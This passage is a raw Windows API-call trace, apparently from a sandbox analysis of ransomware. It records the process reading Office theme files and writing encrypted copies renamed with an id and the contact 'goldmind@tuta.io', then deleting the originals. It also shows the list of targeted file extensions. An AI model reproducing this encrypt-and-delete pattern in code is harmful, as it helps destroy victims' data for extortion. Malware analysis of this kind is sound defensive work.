Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".jpg") returned 4 [0040.908] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".doc") returned 4 [0040.908] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString=".docx") returned 5 [0040.908] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.908] lstrlenW (lpString=".pdf") returned 4 [0040.908] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString=".xls") returned 4 [0040.908] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.908] lstrlenW (lpString=".xlsx") returned 5 [0040.908] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.908] lstrlenW (lpString=".ppt") returned 4 [0040.908] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".zip") returned 4 [0040.908] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.908] lstrlenW (lpString=".rar") returned 4 [0040.908] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.908] lstrlenW (lpString=".bz2") returned 4 [0040.908] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString=".7z") returned 3 [0040.908] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".dbf") returned 4 [0040.908] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".1cd") returned 4 [0040.908] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0040.908] lstrlenW (lpString=".jpg") returned 4 [0040.908] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.909] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0040.909] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0040.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.909] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1925) returned 1 [0040.909] CloseHandle (hObject=0x20c) returned 1 [0040.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0040.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.909] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.909] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.196] GetLastError () returned 0x0 [0041.196] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x785, lpOverlapped=0x0) returned 1 [0041.263] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x790, lpOverlapped=0x0) returned 1 [0041.264] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.264] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.264] SetEndOfFile (hFile=0x188) returned 1 [0041.265] CloseHandle (hObject=0x188) returned 1 [0041.265] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.265] SetEndOfFile (hFile=0x20c) returned 1 [0041.265] CloseHandle (hObject=0x20c) returned 1 [0041.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.266] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0041.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.266] lstrlenW (lpString=".doc") returned 4 [0041.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.266] lstrlenW (lpString=".docx") returned 5 [0041.266] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.266] lstrlenW (lpString=".pdf") returned 4 [0041.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.266] lstrlenW (lpString=".xls") returned 4 [0041.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.266] lstrlenW (lpString=".xlsx") returned 5 [0041.266] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.266] lstrlenW (lpString=".ppt") returned 4 [0041.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.266] lstrlenW (lpString=".zip") returned 4 [0041.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.266] lstrlenW (lpString=".rar") returned 4 [0041.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.266] lstrlenW (lpString=".bz2") returned 4 [0041.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.266] lstrlenW (lpString=".7z") returned 3 [0041.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.266] lstrlenW (lpString=".dbf") returned 4 [0041.266] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.266] lstrlenW (lpString=".1cd") returned 4 [0041.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.266] lstrlenW (lpString=".jpg") returned 4 [0041.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.267] lstrlenW (lpString=".doc") returned 4 [0041.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.267] lstrlenW (lpString=".docx") returned 5 [0041.267] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.267] lstrlenW (lpString=".pdf") returned 4 [0041.267] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.267] lstrlenW (lpString=".xls") returned 4 [0041.267] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.267] lstrlenW (lpString=".xlsx") returned 5 [0041.267] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.267] lstrlenW (lpString=".ppt") returned 4 [0041.267] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.267] lstrlenW (lpString=".zip") returned 4 [0041.267] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.267] lstrlenW (lpString=".rar") returned 4 [0041.267] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.267] lstrlenW (lpString=".bz2") returned 4 [0041.267] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.267] lstrlenW (lpString=".7z") returned 3 [0041.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.267] lstrlenW (lpString=".dbf") returned 4 [0041.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.267] lstrlenW (lpString=".1cd") returned 4 [0041.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0041.267] lstrlenW (lpString=".jpg") returned 4 [0041.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.267] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.267] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.267] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1363) returned 1 [0041.267] CloseHandle (hObject=0x20c) returned 1 [0041.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0041.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.268] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.268] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.287] GetLastError () returned 0x0 [0041.287] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x553, lpOverlapped=0x0) returned 1 [0041.333] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x560, lpOverlapped=0x0) returned 1 [0041.334] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.334] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.334] SetEndOfFile (hFile=0x188) returned 1 [0041.334] CloseHandle (hObject=0x188) returned 1 [0041.334] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.334] SetEndOfFile (hFile=0x20c) returned 1 [0041.335] CloseHandle (hObject=0x20c) returned 1 [0041.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.335] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0041.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.335] lstrlenW (lpString=".doc") returned 4 [0041.335] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.335] lstrlenW (lpString=".docx") returned 5 [0041.335] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.335] lstrlenW (lpString=".pdf") returned 4 [0041.335] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.335] lstrlenW (lpString=".xls") returned 4 [0041.335] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.335] lstrlenW (lpString=".xlsx") returned 5 [0041.335] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.335] lstrlenW (lpString=".ppt") returned 4 [0041.335] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.335] lstrlenW (lpString=".zip") returned 4 [0041.335] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.335] lstrlenW (lpString=".rar") returned 4 [0041.335] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.335] lstrlenW (lpString=".bz2") returned 4 [0041.335] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.335] lstrlenW (lpString=".7z") returned 3 [0041.335] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.335] lstrlenW (lpString=".dbf") returned 4 [0041.335] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.335] lstrlenW (lpString=".1cd") returned 4 [0041.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.336] lstrlenW (lpString=".jpg") returned 4 [0041.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.336] lstrlenW (lpString=".doc") returned 4 [0041.336] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.336] lstrlenW (lpString=".docx") returned 5 [0041.336] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.336] lstrlenW (lpString=".pdf") returned 4 [0041.336] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.336] lstrlenW (lpString=".xls") returned 4 [0041.336] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.336] lstrlenW (lpString=".xlsx") returned 5 [0041.336] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.336] lstrlenW (lpString=".ppt") returned 4 [0041.336] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.336] lstrlenW (lpString=".zip") returned 4 [0041.336] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.336] lstrlenW (lpString=".rar") returned 4 [0041.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.336] lstrlenW (lpString=".bz2") returned 4 [0041.336] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.336] lstrlenW (lpString=".7z") returned 3 [0041.336] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.336] lstrlenW (lpString=".dbf") returned 4 [0041.336] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.336] lstrlenW (lpString=".1cd") returned 4 [0041.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0041.336] lstrlenW (lpString=".jpg") returned 4 [0041.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.336] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.336] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.368] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=33277) returned 1 [0041.368] CloseHandle (hObject=0x200) returned 1 [0041.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0041.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.368] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.368] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.368] GetLastError () returned 0x0 [0041.368] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0041.371] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0041.372] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.372] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.372] SetEndOfFile (hFile=0x204) returned 1 [0041.373] CloseHandle (hObject=0x204) returned 1 [0041.373] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.373] SetEndOfFile (hFile=0x200) returned 1 [0041.374] CloseHandle (hObject=0x200) returned 1 [0041.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.374] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.374] lstrlenW (lpString=".doc") returned 4 [0041.374] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.374] lstrlenW (lpString=".docx") returned 5 [0041.374] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.375] lstrlenW (lpString=".pdf") returned 4 [0041.375] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.375] lstrlenW (lpString=".xls") returned 4 [0041.375] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.375] lstrlenW (lpString=".xlsx") returned 5 [0041.375] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.375] lstrlenW (lpString=".ppt") returned 4 [0041.375] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.375] lstrlenW (lpString=".zip") returned 4 [0041.375] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.375] lstrlenW (lpString=".rar") returned 4 [0041.375] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.375] lstrlenW (lpString=".bz2") returned 4 [0041.375] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.375] lstrlenW (lpString=".7z") returned 3 [0041.375] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.375] lstrlenW (lpString=".dbf") returned 4 [0041.375] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.375] lstrlenW (lpString=".1cd") returned 4 [0041.375] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 